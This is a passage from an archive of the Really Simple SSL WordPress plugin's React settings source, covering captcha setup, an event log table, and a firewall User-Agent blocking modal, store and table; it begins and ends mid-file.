        // For each found script tag
        scriptTags.forEach((scriptTag) => {
            scriptTag.remove(); // Remove it
        });
        const rescriptTags = document.querySelectorAll('script[src^="https://www.google.com/recaptcha/api.js"]');
        // now we check if reCaptcha was still rendered.
        const recaptchaContainer = document.getElementById('recaptchaContainer');
        if (recaptchaContainer) {
            recaptchaContainer.remove();
        }
    },
}));

export default useCaptchaData;really-simple-ssl/settings/src/Settings/Captcha/ReCaptcha.js000064400000004276147510273070020123 0ustar00import {useEffect} from "@wordpress/element";
import useFields from '../FieldsData';
import CaptchaData from "./CaptchaData";

/**
 * ReCaptcha functionality.
 *
 * @param {function} handleCaptchaResponse - The callback function to handle the ReCaptcha response.
 * @param {boolean} captchaVerified - Boolean value indicating whether the ReCaptcha is verified or not.
 * @return {JSX.Element} - The ReCaptcha component JSX.
 */
const ReCaptcha = ({ handleCaptchaResponse , captchaVerified}) => {
    const recaptchaCallback = (response) => {
        handleCaptchaResponse(response);
    };

    const {reloadCaptcha, removeRecaptchaScript, setReloadCaptcha} = CaptchaData();
    const {getFieldValue, updateField, saveFields} = useFields();
    const sitekey = getFieldValue('recaptcha_site_key');
    const secret = getFieldValue('recaptcha_secret_key');
    const fully_enabled = getFieldValue('captcha_fully_enabled');

    useEffect(() => {
        const script = document.createElement('script');

        script.src = `https://www.google.com/recaptcha/api.js?render=explicit&onload=initRecaptcha`;
        script.async = true;
        script.defer = true;

        script.onload = () => {
            // We restore the recaptcha script if it was not removed.
            let recaptchaContainer = document.getElementById('recaptchaContainer');
            if (typeof window.grecaptcha !== 'undefined') {
                window.initRecaptcha = window.initRecaptcha || (() => {
                    window.grecaptcha && window.grecaptcha.render(recaptchaContainer, {
                        sitekey: sitekey,
                        callback: recaptchaCallback,
                    });
                });
            }
        };

        document.body.appendChild(script);

    }, [sitekey, handleCaptchaResponse]);

    useEffect(() => {
        // Move cleanup here.
        if (captchaVerified) {
          removeRecaptchaScript();
        }
    }, [captchaVerified]);

    return (
        <div className="rsssl-captcha"
             style={{display: 'flex', flexDirection: 'column', alignItems: 'center', marginBottom: '20px'}} >
            <div id='recaptchaContainer'></div>
        </div>
    );
};

export default ReCaptcha;really-simple-ssl/settings/src/Settings/Captcha/CaptchaKey.js000064400000002422147510273070020274 0ustar00import Icon from "../../utils/Icon";
import useFields from "../FieldsData";
import {TextControl} from "@wordpress/components"; // assuming you're using WordPress components

const CaptchaKey = ({ field, fields, label }) => {
    const { getFieldValue, setChangedField, updateField, saveFields} = useFields();

    let fieldValue = getFieldValue(field.id);
    let captchaVerified = getFieldValue('captcha_fully_enabled');

    const onChangeHandler = async (fieldValue) => {
        setChangedField(field.id, fieldValue);
        setChangedField('captcha_fully_enabled', false);
        updateField(field.id, fieldValue);
        await saveFields(false, false);
    }

    return (
        <>
            <TextControl
                required={field.required}
                placeholder={field.placeholder}
                help={field.comment}
                label={label}
                onChange={(value) => onChangeHandler(value)}
                value={fieldValue}
            />

            <div className="rsssl-email-verified" >
                {Boolean(captchaVerified)
                    ? <Icon name='circle-check' color={'green'} />
                    : <Icon name='circle-times' color={'red'} />
                }
            </div>
        </>
    );
}

export default CaptchaKey;really-simple-ssl/settings/src/Settings/Captcha/HCaptcha.js000064400000002470147510273070017736 0ustar00import {useEffect} from "@wordpress/element";
const HCaptcha = ({ sitekey, handleCaptchaResponse }) => {
    const hcaptchaCallback = (response) => {
        handleCaptchaResponse(response);
    };

    useEffect(() => {
        const script = document.createElement('script');

        script.src = `https://hcaptcha.com/1/api.js?onload=initHcaptcha`;
        script.async = true;
        script.defer = true;

        script.onload = () => {
            if (typeof window.hcaptcha !== 'undefined') {
                window.hcaptcha.render('hcaptchaContainer', {
                    sitekey: sitekey,
                    callback: hcaptchaCallback
                });
            }
        };

        document.body.appendChild(script);

        // Cleanup function
        return () => {
            // Check if hcaptcha is loaded before trying to remove it
            if (window.hcaptcha) {
                window.hcaptcha.reset();
            }
            if (script) {
                script.remove();
            }
        };

    }, [sitekey, handleCaptchaResponse]);

    return (
        <div className="rsssl-captcha"
             style={{display: 'flex', flexDirection: 'column', alignItems: 'center', marginBottom: '20px'}}>
            <div id='hcaptchaContainer'></div>
        </div>
    );
};

export default HCaptcha;really-simple-ssl/settings/src/Settings/Captcha/Captcha.js000064400000007041147510273070017625 0ustar00import ReCaptcha from './ReCaptcha';
import HCaptcha from './HCaptcha';
import useFields from '../FieldsData';
import useCaptchaData from "./CaptchaData";
import {__} from '@wordpress/i18n';
import {useEffect, useState} from "@wordpress/element";
import ErrorBoundary from "../../utils/ErrorBoundary";
import Button from "../Button";

const Captcha = ({props}) => {
    const {getFieldValue, updateField, saveFields, getField} = useFields();
    const enabled_captcha_provider = getFieldValue('enabled_captcha_provider');
    const siteKey = getFieldValue(`${enabled_captcha_provider}_site_key`);
    const secretKey = getFieldValue(`${enabled_captcha_provider}_secret_key` );
    const fully_enabled = getFieldValue('captcha_fully_enabled');
    const {verifyCaptcha, setReloadCaptcha, removeRecaptchaScript} = useCaptchaData();
    const [showCaptcha, setShowCaptcha] = useState(false);
    const [buttonEnabled, setButtonEnabled] = useState(false);



    const handleCaptchaResponse = (response) => {
        verifyCaptcha(response).then((response) => {
            if (response && response.success) {
                updateField('captcha_fully_enabled', 1);
                saveFields(false, false, true);
            } else {
                updateField('captcha_fully_enabled', false);
                saveFields(false, false);
            }
        });
    };

    //if we switch to another captcha provider, we need to reset the captcha
    useEffect(() => {
        saveFields(false, false);
    }, [enabled_captcha_provider]);

    useEffect(() => {
        if (fully_enabled) {
            updateField('captcha_fully_enabled', 1);
            saveFields(false, false);
        }
    }, [fully_enabled]);

    useEffect(() => {
        setShowCaptcha(false);
        //based on the provider the keys need certain length if hcapthca the length is 36 and recapthca 40
        switch (enabled_captcha_provider) {
            case 'recaptcha':
                if (siteKey.length === 40 && secretKey.length === 40) {
                    setButtonEnabled(true);
                } else {
                    setButtonEnabled(false);
                }
                break;
            case 'hcaptcha':
                if (siteKey.length === 36 && secretKey.length === 35) {
                   setButtonEnabled(true);
                } else {
                    setButtonEnabled(false);
                }
                break;
        }
    }, [siteKey, secretKey, enabled_captcha_provider]);


    return (
        <div>
            <ErrorBoundary title={__('Reload Captcha' , 'really-simple-ssl')}>
                {enabled_captcha_provider === 'recaptcha' && !fully_enabled && showCaptcha && (
                    <ReCaptcha handleCaptchaResponse={handleCaptchaResponse} />
                )}
                {enabled_captcha_provider === 'hcaptcha' && !fully_enabled && showCaptcha && (
                    <HCaptcha sitekey={siteKey} handleCaptchaResponse={handleCaptchaResponse} captchaVerified={fully_enabled}/>
                )}
                {enabled_captcha_provider !== 'none' && !fully_enabled && (
                    <button
                            disabled={!buttonEnabled}
                            className={`button button-primary ${!buttonEnabled ? 'rsssl-learning-mode-disabled' : ''}`}
                        // style={{display: !showCaptcha? 'none': 'block'}}
                            onClick={() => setShowCaptcha(true)}> {__('Validate CAPTCHA', 'really-simple-ssl')} </button>)
                }
            </ErrorBoundary>
        </div>
    );
};

export default Captcha;really-simple-ssl/settings/src/Settings/PostDropDown.js000064400000005561147510273070017326 0ustar00/**
 * This file contains the PostDropdown component.
 *
 * This component displays a dropdown menu that allows the user to select a post
 * from a list of posts fetched from the WordPress database. The selected post
 * is then used to set a value in an options array stored in the WordPress
 * database. The component also allows the user to search for posts by typing
 * in a search box.
 */

import React, { useState, useEffect } from "react";
import { ThemeProvider } from '@mui/material/styles';
import apiFetch from '@wordpress/api-fetch';
import { __ } from '@wordpress/i18n';
import autoCompleteSharedTheme from '../utils/autoCompleteTheme';
import AutoCompleteControl from "../settings/AutoComplete/AutoCompleteControl";
import useFields from "./FieldsData";

const PostDropdown = ({ field }) => {
    const [posts, setPosts] = useState([]);
    const [selectedPost, setSelectedPost] = useState("");
    const { updateField, setChangedField } = useFields();

    useEffect(() => {
        // Fetch posts data when the component mounts
        apiFetch({ path: '/wp/v2/pages?per_page=100' }).then((data) => {
            const formattedData = data.map(post => ({
                label: post.title.rendered,
                value: post.id
            }));
            setPosts([{ label: "404 (default)", value: "404_default" }, ...formattedData]);
        });
    }, []);

    useEffect(() => {
        if (field.value !== "404_default") {
            apiFetch({ path: `wp/v2/pages/${field.value}` })
                .then((data) => {
                    if (data.title) {
                        setSelectedPost({ label: data.title.rendered, value: field.value });
                    } else {
                        setSelectedPost({ label: "404 (default)", value: "404_default" });
                    }
                });
        } else {
            setSelectedPost({ label: "404 (default)", value: "404_default" });
        }
    }, [field.value]);

    const handleChange = (newValue) => {
        const value = newValue ? newValue : '404_default';
        updateField(field.id, value);
        setChangedField(field.id, value);
    };

    return (
        <ThemeProvider theme={autoCompleteSharedTheme}>
            <div>
                <label htmlFor="rsssl-filter-post-input">
                    {__("Redirect to this post when someone tries to access /wp-admin or /wp-login.php. The default is a 404 page.", "really-simple-ssl")}
                </label>
                <AutoCompleteControl
                    className="rsssl-select"
                    field={field}
                    label={__("Search for a post.", "really-simple-ssl")}
                    value={selectedPost}
                    options={posts}
                    onChange={handleChange}
                    disabled={false}
                />
            </div>
        </ThemeProvider>
    );
};

export default PostDropdown;
really-simple-ssl/settings/src/Settings/Notices.js000064400000001416147510273070016323 0ustar00/**
 * Notice after saving was successfull
 */
import { SnackbarList } from '@wordpress/components';
import {
    useDispatch,
    useSelect,
} from '@wordpress/data';

import { store as noticesStore } from '@wordpress/notices';

const Notices = () => {
    const notices = useSelect(
        ( select ) =>
            select( noticesStore )
                .getNotices()
                .filter( ( notice ) => notice.type === 'snackbar' ),
        []
    );
    if ( typeof notices === 'undefined' ) {
        return (<></>)
    }
    const { removeNotice } = useDispatch( noticesStore );
    return (
        <SnackbarList
            className="edit-site-notices"
            notices={ notices }
            onRemove={ removeNotice }
        />
    );
};

export default Notices;really-simple-ssl/settings/src/Settings/EventLog/EventLogDataTable.js000064400000020564147510273070021734 0ustar00import {__} from '@wordpress/i18n';
import {useEffect, useState} from '@wordpress/element';
import DataTable, {createTheme} from "react-data-table-component";
import EventLogDataTableStore from "./EventLogDataTableStore";
import FilterData from "../FilterData";
import * as rsssl_api from "../../utils/api";
import useMenu from "../../Menu/MenuData";
import Flag from "../../utils/Flag/Flag";
import Icon from "../../utils/Icon";
import useFields from "../FieldsData";
import SearchBar from "../DynamicDataTable/SearchBar";

const EventLogDataTable = (props) => {
    const {
        DynamicDataTable,
        dataLoaded,
        pagination,
        dataActions,
        handleEventTableRowsChange,
        fetchDynamicData,
        handleEventTableSort,
        handleEventTablePageChange,
        handleEventTableSearch,
        handleEventTableFilter,
        processing,
        rowCleared,
    } = EventLogDataTableStore()
    //here we set the selectedFilter from the Settings group
    const {
        selectedFilter,
        setSelectedFilter,
        activeGroupId,
        getCurrentFilter,
        setProcessingFilter,
    } = FilterData();



    const {fields, fieldAlreadyEnabled, getFieldValue} = useFields();
    const [tableHeight, setTableHeight] = useState(600);  // Starting height
    const rowHeight = 50; // Height of each row.
    const moduleName = 'rsssl-group-filter-' + props.field.id;
    let field = props.field;
    useEffect(() => {
        const currentFilter = getCurrentFilter(moduleName);

        if (!currentFilter) {
            setSelectedFilter('all', moduleName);
        }
        setProcessingFilter(processing);
        handleEventTableFilter('severity', currentFilter);
    }, [moduleName, handleEventTableFilter, getCurrentFilter(moduleName), setSelectedFilter, moduleName, DynamicDataTable, processing]);


    //if the dataActions are changed, we fetch the data
    useEffect(() => {
        //we make sure the dataActions are changed in the store before we fetch the data
        if (dataActions) {
            fetchDynamicData(field.action, field.event_type, dataActions)
        }
    }, [dataActions.sortDirection, dataActions.filterValue, dataActions.search, dataActions.page, dataActions.currentRowsPerPage]);



    //we create the columns
    let columns = [];
    //getting the fields from the props

    //we loop through the fields
    field.columns.forEach(function (item, i) {
        let newItem = buildColumn(item)
        columns.push(newItem);
    });

    let enabled = fieldAlreadyEnabled('event_log_enabled');

    const customStyles = {
        headCells: {
            style: {
                paddingLeft: '0', // override the cell padding for head cells
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0', // override the cell padding for data cells
                paddingRight: '0',
            },
        },
    };
    createTheme('really-simple-plugins', {
        divider: {
            default: 'transparent',
        },
    }, 'light');

    //only show the datatable if the data is loaded
    if (!dataLoaded && columns.length === 0 && DynamicDataTable.length === 0) {
        return (
            <div className="rsssl-spinner">
                <div className="rsssl-spinner__inner">
                    <div className="rsssl-spinner__icon"></div>
                    <div className="rsssl-spinner__text">{__("Loading...", "really-simple-ssl")}</div>
                </div>
            </div>
        );
    }

    let searchableColumns = [];
    //setting the searchable columns
    columns.map(column => {
        if (column.searchable) {
            searchableColumns.push(column.column);
        }
    });
    let data = [];

    if (DynamicDataTable.data) {
        data = DynamicDataTable.data.map((dataItem) => {
            let newItem = {...dataItem};
            newItem.iso2_code = generateFlag(newItem.iso2_code, newItem.country_name);
            newItem.expandableRows = true;
            return newItem;
        });
    }

    //we generate an expandable row
    const ExpandableRow = ({data}) => {
        let code, icon, color = '';
        switch (data.severity) {
            case 'warning':
                code = 'rsssl-warning';
                icon = 'circle-times';
                color = 'red';
                break;
            case 'informational':
                code = 'rsssl-primary';
                icon = 'info';
                color = 'black';
                break;


            default:
                code = 'rsssl-primary';
        }

        return (
            <div className={"rsssl-wizard-help-notice " + code}
                 style={{padding: '1em', borderRadius: '5px'}}>
                {/*now we place a block to the rightcorner with the severity*/}
                <div style={{float: 'right'}}>
                    <Icon name={icon} color={color}/>
                </div>
                <div style={{fontSize: '1em', fontWeight: 'bold'}}>
                    {data.severity.charAt(0).toUpperCase() + data.severity.slice(1)}
                </div>
                <div>{data.description}</div>
            </div>
        );
    };


    function generateFlag(flag, title) {
        return (
            <>
                <Flag
                    countryCode={flag}
                    style={{
                        fontSize: '2em',
                        marginLeft: '0.3em',
                    }}
                    title={title}
                ></Flag>
            </>

        )
    }

    let paginationSet;
    paginationSet = typeof pagination !== 'undefined';

    useEffect(() => {
        if (Object.keys(data).length === 0 ) {
            setTableHeight(100); // Adjust depending on your UI measurements
        } else {
            setTableHeight(rowHeight * (paginationSet ? pagination.perPage + 2 : 12)); // Adjust depending on your UI measurements
        }

    }, [paginationSet, pagination?.perPage, data]);

    return (
        <>
            <div className="rsssl-container">
                <div></div>
                {/*Display the search bar*/}
                <SearchBar handleSearch={handleEventTableSearch} searchableColumns={searchableColumns}/>
            </div>
            {/*Display the datatable*/}
            <DataTable
                columns={columns}
                data={processing? [] : data}
                dense
                pagination={!processing}
                paginationServer
                paginationTotalRows={paginationSet? pagination.totalRows: 10}
                paginationPerPage={paginationSet? pagination.perPage: 10}
                paginationDefaultPage={paginationSet?pagination.currentPage: 1}
                paginationComponentOptions={{
                    rowsPerPageText: __('Rows per page:', 'really-simple-ssl'),
                    rangeSeparatorText: __('of', 'really-simple-ssl'),
                    noRowsPerPage: false,
                    selectAllRowsItem: false,
                    selectAllRowsItemText: __('All', 'really-simple-ssl'),

                }}
                onChangeRowsPerPage={handleEventTableRowsChange}
                onChangePage={handleEventTablePageChange}
                expandableRows={!processing}
                expandableRowsComponent={ExpandableRow}
                loading={dataLoaded}
                onSort={handleEventTableSort}
                sortServer={!processing}
                paginationRowsPerPageOptions={[5, 10, 25, 50, 100]}
                noDataComponent={__("No results", "really-simple-ssl")}
                persistTableHead
                theme="really-simple-plugins"
                customStyles={customStyles}
            ></DataTable>
            {!enabled && (
                <div className="rsssl-locked">
                    <div className="rsssl-locked-overlay"><span
                        className="rsssl-task-status rsssl-open">{__('Disabled', 'really-simple-ssl')}</span><span>{__('Activate Limit login attempts to enable this block.', 'really-simple-ssl')}</span>
                    </div>
                </div>
            )}
        </>
    );

}
export default EventLogDataTable;

function buildColumn(column) {
    return {
        name: column.name,
        sortable: column.sortable,
        searchable: column.searchable,
        width: column.width,
        visible: column.visible,
        column: column.column,
        selector: row => row[column.column],
    };
}

really-simple-ssl/settings/src/Settings/EventLog/EventLogDataTableStore.js000064400000005446147510273070022753 0ustar00/* Creates A Store For Risk Data using Zustand */
import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
import {__} from "@wordpress/i18n";
import {produce} from "immer";
import React from "react";

const EventLogDataTableStore = create((set, get) => ({

    processing: false,
    dataLoaded: false,
    pagination: {},
    dataActions: {},
    DynamicDataTable: [],
    sorting: [],
    rowCleared: false,

    fetchDynamicData: async (action, event_type, dataActions = {}) => {
        //cool we can fetch the data so first we set the processing to true
        set({processing: true});
        set({dataLoaded: false});
        set({rowCleared: true});
        if (Object.keys(dataActions).length === 0) {
            dataActions = get().dataActions;
        }
        // add the data_type to the dataActions
        dataActions = {...dataActions, event_type};
        //now we fetch the data
        try {
            const response = await rsssl_api.doAction(
                action,
                dataActions
            );
            // now we set the EventLog
            if (response) {
                set({DynamicDataTable: response, dataLoaded: true, processing: false, pagination: response.pagination, sorting: response.sorting});
            }
        } catch (e) {
            console.log(e);
        } finally {
            set({processing: false});
            set({rowCleared: false});
        }
    },

    handleEventTableSearch: async (search, searchColumns) => {
        //Add the search to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, search, searchColumns};
            })
        );
    },

    handleEventTablePageChange: async (page, pageSize) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, page, pageSize};
            })
        );
    },
    handleEventTableRowsChange: async (currentRowsPerPage, currentPage) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, currentRowsPerPage, currentPage};
            })
        );
    },

    //this handles all pagination and sorting
    handleEventTableSort: async (column, sortDirection) => {
        set(produce((state) => {
                state.dataActions = {...state.dataActions, sortColumn: column, sortDirection};
            })
        );
    },
    handleEventTableFilter: async (column, filterValue) => {
        //Add the column and sortDirection to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, filterColumn: column, filterValue};
            })
        );
    },


}));

export default EventLogDataTableStore;really-simple-ssl/settings/src/Settings/AutoComplete/AutoCompleteControl.js000064400000004226147510273070023264 0ustar00/*
* The native selectControl doesn't allow disabling per option.
*/

import DOMPurify from "dompurify";
import {Autocomplete} from "@mui/material";
import TextField from '@material-ui/core/TextField';
import './AutoComplete.scss';
import { makeStyles } from "@material-ui/styles";

const useStyles = makeStyles(() => ({
    autoComplete: {
        fontSize: "12px"
    }
}));

const AutoCompleteControl = ({field, disabled, value, options, label, onChange }) => {
    let selectDisabled = !Array.isArray(disabled) && disabled;
    const classes = useStyles();

    return (
        <>
            <Autocomplete
                classes={{
                    input: classes.autoComplete,
                    option: classes.autoComplete
                }}
                disabled={selectDisabled}
                disablePortal
                value={ value }
                id={field.id}
                options={options}
                isOptionEqualToValue={(option, value) => {
                    const optionValue = typeof option.value === "string" ? option.value.toLowerCase() : option.value;
                    const valueValue = typeof value.value === "string" ? value.value.toLowerCase() : value.value;
                    return optionValue === valueValue;
                }}
                getOptionLabel={(option) => {
                    if ( option && option.label ) {
                        return option.label;
                    }
                    const selectedOption = options.find( item => item.value === option );
                    if ( selectedOption ) {
                        return selectedOption.label;
                    }
                    return option;
                } }
                onChange={(event, newValue) => {
                    let value = newValue && newValue.value ? newValue.value : '';
                    onChange(value);
                }}
                renderInput={(params) => <TextField {...params}
                    label={label}
                    margin="normal"
                    variant="outlined"
                    fullWidth
                />}
            />
        </>
    );
}
export default AutoCompleteControlreally-simple-ssl/settings/src/Settings/AutoComplete/AutoComplete.scss000064400000001420147510273070022253 0ustar00.rsssl-modal-body, .rsssl {
  input.MuiInput-underline:before {
    display:none;
  }
  .MuiAutocomplete-root {
    .MuiInputLabel-outlined[data-shrink=false] {
      transform: translate(14px, 16px) scale(1);
    }
    .MuiFormLabel-root {
      font-family:inherit;
    }
    .MuiOutlinedInput-root {
      padding: 0;
    }
  }
  input.MuiAutocomplete-input[type=text] {
    &:focus {
      outline: none;
      box-shadow:none;
    }
    border:0;
    padding-left:12px;
  }
  .MuiInputBase-root {
    font-family: inherit;
  }

  .MuiInput-root input.MuiInputBase-input {
    padding-left:10px;
  }
  .MuiPopper-root, .MuiPaper-root {
    max-height:150px;
    z-index: 999999;
    div {
      font-family: inherit !important;
    }
    ul {
      max-height:initial;
    }
  }
}really-simple-ssl/settings/src/Settings/Help.js000064400000002751147510273070015612 0ustar00import Icon from "../utils/Icon";
import { __ } from '@wordpress/i18n';
import DOMPurify from "dompurify";
/**
 * Render a help notice in the sidebar
 */
const Help = (props) => {
    let notice = {...props.help};
    if ( !notice.title ){
        notice.title = notice.text;
        notice.text = false;
    }
    let openStatus = props.noticesExpanded ? 'open' : '';
    //we can use notice.linked_field to create a visual link to the field.

    let target = notice.url && notice.url.indexOf("really-simple-ssl.com") !==-1 ? "_blank" : '_self';
    return (
        <div>
            { notice.title && notice.text &&
                <details className={"rsssl-wizard-help-notice rsssl-" + notice.label.toLowerCase()} open={openStatus}>
                    <summary>{notice.title} <Icon name='chevron-down' /></summary>
                    {/*some notices contain html, like for the htaccess notices. A title is required for those options, otherwise the text becomes the title. */}
                    <div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(notice.text)}}></div>
                    {notice.url && <div className="rsssl-help-more-info"><a target={target} href={notice.url}>{__("More info", "really-simple-ssl")}</a></div>}
                </details>
            }
            { notice.title && !notice.text &&
                <div className={"rsssl-wizard-help-notice rsssl-" + notice.label.toLowerCase()}><p>{notice.title}</p></div>
            }
        </div>
    );
}

export default Helpreally-simple-ssl/settings/src/Settings/firewall/UserAgentModal.js000064400000013356147510273070021404 0ustar00import {useState, useEffect, useRef} from '@wordpress/element';
import Icon from "../../utils/Icon";
import {
    Modal,
    Button,
    TextControl
} from "@wordpress/components";
import {__} from "@wordpress/i18n";
import FieldsData from "../FieldsData";
import UserAgentStore from "./UserAgentStore";

const UserAgentModal = (props) => {
    const {note, setNote, user_agent, setUserAgent, dataLoaded, addRow, fetchData} = UserAgentStore();
    const {showSavedSettingsNotice} = FieldsData();
    const userAgentInputRef = useRef(null);
    const noteInputRef = useRef(null);

    async function handleSubmit() {
        // we check if statusSelected is not empty
        if (user_agent.length) {
            await addRow(user_agent, note).then((response) => {
                console.log(response);
                if (response.success) {
                    showSavedSettingsNotice(response.message);
                    fetchData('rsssl_user_agent_list');
                } else {
                    showSavedSettingsNotice(response.message, 'error');
                }
            });
            //we clear the input
            resetValues();
            //we close the modal
            props.onRequestClose();
        }
    }

    function resetValues() {
        setUserAgent('');
        setNote('');
    }

    function handleCancel() {
        resetValues();
        // Close the modal
        props.onRequestClose();
    }

    function handleKeyPress(event) {
        console.log('i pressed a key' + event.key);
        if (event.key === 'Enter') {
            handleSubmit();
        }
    }

    useEffect(() => {
        if (userAgentInputRef.current) {
            userAgentInputRef.current.addEventListener('keypress', handleKeyPress);
        }
        if (noteInputRef.current) {
            noteInputRef.current.addEventListener('keypress', handleKeyPress);
        }

        // cleanup event listeners
        return () => {
            if (userAgentInputRef.current) {
                userAgentInputRef.current.removeEventListener('keypress', handleKeyPress);
            }
            if (noteInputRef.current) {
                noteInputRef.current.removeEventListener('keypress', handleKeyPress);
            }
        }
    }, []);

    if (!props.isOpen) {
        return null;
    }

    return (
        <Modal
            title={__("Block User-Agent", "really-simple-ssl")}
            shouldCloseOnClickOutside={true}
            shouldCloseOnEsc={true}
            overlayClassName="rsssl-modal-overlay"
            className="rsssl-modal"
            onRequestClose={props.onRequestClose}
            onKeyPress={handleKeyPress}
        >
            <div className="modal-content">
                <div className="modal-body"
                     style={{
                         padding: "0.5em",
                     }}
                >
                    <div
                        style={{
                            width: "95%",
                            height: "100%",
                            padding: "10px",
                        }}
                    >
                        <div style={{position: 'relative'}}>
                            <label
                                htmlFor={'user_agent'}
                                className={'rsssl-label'}
                            >{__('User-Agent', 'really-simple-ssl')}</label>
                            <input
                                id={'user_agent'}
                                type={'text'}
                                value={user_agent}
                                name={'user_agent'}
                                onChange={(e) => setUserAgent(e.target.value)}
                                style={{
                                    width: '100%',
                                }}
                                ref={userAgentInputRef}
                            />
                        </div>
                        <div>
                            <label
                                htmlFor={'note'}
                                className={'rsssl-label'}
                            >{__('Notes', 'really-simple-ssl')}</label>
                            <input
                                name={'note'}
                                id={'note'}
                                type={'text'}
                                value={note}
                                onChange={(e) => setNote(e.target.value)}
                                style={{
                                    width: '100%',
                                }}
                                ref={noteInputRef}
                            />
                        </div>
                    </div>
                </div>
                <div className="modal-footer">
                    <div
                        className={'rsssl-grid-item-footer'}
                        style={{
                            display: 'flex',
                            justifyContent: 'flex-end',
                            alignItems: 'center',
                            padding: '1em',
                        }}
                    >
                        <Button
                            isSecondary
                            onClick={handleCancel}
                            style={{marginRight: '10px'}}
                        >
                            {__("Cancel", "really-simple-ssl")}
                        </Button>
                        <Button
                            isPrimary
                            onClick={handleSubmit}
                        >
                            {__("Add", "really-simple-ssl")}
                        </Button>
                    </div>
                </div>
            </div>
        </Modal>
    )
}

export default UserAgentModal;really-simple-ssl/settings/src/Settings/firewall/UserAgentStore.js000064400000003764147510273070021446 0ustar00import { create } from 'zustand';
import * as rsssl_api from "../../utils/api";

const UserAgentStore = create((set, get) => ({
    processing: false,
    data: [],
    dataLoaded: false,
    user_agent: '',
    note: '',

    fetchData: async (action, filter) => {
        set({ processing: true });
        set({ dataLoaded: false });
        try {
            const response = await rsssl_api.doAction(action , { filter });
            if (response.request_success) {
                set({ data: response.data });
                if (response.data) {
                  set({ dataLoaded: true });
                }
                set({ processing: false });
            }
        } catch (e) {
            console.error(e);
            set({ dataLoaded: false });
        } finally {
            set({ processing: false });
        }
    },
    setNote: (note) => set({ note }),
    setUserAgent: (user_agent) => set({ user_agent }),
    setDataLoaded: (dataLoaded) => set({ dataLoaded }),
    addRow: async (user_agent, note) => {
        set({ processing: true });
        try {
            const response = await rsssl_api.doAction('rsssl_user_agent_add', { user_agent, note });
            if (response.request_success) {
                set({ dataLoaded: false });
            }
        } catch (e) {
            console.error(e);
        } finally {
            set({ processing: false, dataLoaded: true });
        }
        return { success: true, message: 'User-Agent added successfully' };
    },
    deleteValue: async (id) => {
        set({ processing: true });
        try {
            const response = await rsssl_api.doAction('rsssl_user_agent_delete', { id });
            if (response.request_success) {
                set({ dataLoaded: false });
                return { success: true, message: response.message };
            }
        } catch (e) {
            console.error(e);
        } finally {
            set({ processing: false, dataLoaded: false });
        }
    }
}));

export default UserAgentStore;really-simple-ssl/settings/src/Settings/firewall/UserAgentTable.js000064400000023640147510273070021374 0ustar00import { useEffect, useState, useCallback } from '@wordpress/element';
import DataTable, { createTheme } from "react-data-table-component";
import FieldsData from "../FieldsData";
import { __ } from '@wordpress/i18n';
import useFields from "../FieldsData";
import useMenu from "../../Menu/MenuData";
import AddButton from "../GeoBlockList/AddButton";
import UserAgentModal from "./UserAgentModal";
import UserAgentStore from "./UserAgentStore";
import { in_array } from "../../utils/lib";
import FilterData from "../FilterData";

const UserAgentTable = (props) => {
    const {
        data,
        processing,
        dataLoaded,
        fetchData,
        user_agent,
        note,
        deleteValue,
        setDataLoaded,
    } = UserAgentStore();

    const {
        selectedFilter,
        setSelectedFilter,
        activeGroupId,
        getCurrentFilter,
        setProcessingFilter,
    } = FilterData();

    const moduleName = 'rsssl-group-filter-user_agents';
    const { fields, fieldAlreadyEnabled, getFieldValue, setHighLightField, getField } = useFields();
    const [modalOpen, setModalOpen] = useState(false);
    const [rowsSelected, setRowsSelected] = useState([]);
    const [rowCleared, setRowCleared] = useState(false);
    const [columns, setColumns] = useState([]);
    const [searchTerm, setSearchTerm] = useState('');
    const [filteredData, setFilteredData] = useState([]);
    const { showSavedSettingsNotice, saveFields } = FieldsData();
    const [currentPage, setCurrentPage] = useState(1);
    const [rowsPerPage, setRowsPerPage] = useState(10);
    const [filter, setFilter] = useState(getCurrentFilter(moduleName));

    let enabled = getFieldValue('enable_firewall');
    const IsNull = (value) => value === null;

    useEffect(() => {
        const currentFilter = getCurrentFilter(moduleName);
        if (typeof currentFilter === 'undefined') {
            setFilter('blocked');
        } else {
            setFilter(currentFilter);
        }
        setRowsSelected([]);
    }, [getCurrentFilter(moduleName)]);

    useEffect(() => {
        if (filter !== undefined) {
            const fetchData = async () => {
                setDataLoaded(false);
            }
            fetchData();
            setRowsSelected([]);
        }

    }, [filter]);

    const handlePageChange = (page) => {
        setCurrentPage(page);
    };
    const handlePerRowsChange = (newRowsPerPage) => {
        setRowsPerPage(newRowsPerPage);
    };

    useEffect(() => {
        if (props.field) {
            const buildColumn = (column) => ({
                name: column.name,
                sortable: column.sortable,
                searchable: column.searchable,
                width: column.width,
                visible: column.visible,
                column: column.column,
                selector: row => row[column.column],
            });
            setColumns(props.field.columns.map(buildColumn));
        }
    }, [props.field]);

    useEffect(() => {
        const fetchUserAgentList = async () => {
            if (!dataLoaded && enabled ) {
                await fetchData('rsssl_user_agent_list', filter);
            }
        };

        fetchUserAgentList();
    }, [dataLoaded, enabled]);

    useEffect(() => {
            saveFields(false, false, true);
            setDataLoaded(false);
    },[enabled]);

    const handleClose = () => {
        setModalOpen(false);
    }

    const handleOpen = () => {
        setModalOpen(true);
    }

    const ActionButton = ({ onClick, children, className }) => (
        <button
            className={`button ${className} rsssl-action-buttons__button`}
            onClick={onClick}
            disabled={false}
        >
            {children}
        </button>
    );

    const softDelete = useCallback((id) => {
        if (Array.isArray(id)) {
            const ids = id.map(item => ({ id: item.id }));
            deleteValue(ids).then((result) => {
                showSavedSettingsNotice(result.message);
                setRowsSelected([]);
            });
        } else {
            deleteValue(id).then((result) => {
                showSavedSettingsNotice(result.message);
            });
        }
    }, [deleteValue, rowsSelected, showSavedSettingsNotice]);

    const generateActionButtons = useCallback((id, deleted) => (
        <div className="rsssl-action-buttons">
            <ActionButton
                onClick={() => softDelete(id)}
                className={deleted ? "button-primary" : "button-red"}
            >
                {deleted ? __("Block", "really-simple-ssl") : __("Delete", "really-simple-ssl")}
            </ActionButton>
        </div>
    ), [softDelete]);

    const customStyles = {
        headCells: {
            style: {
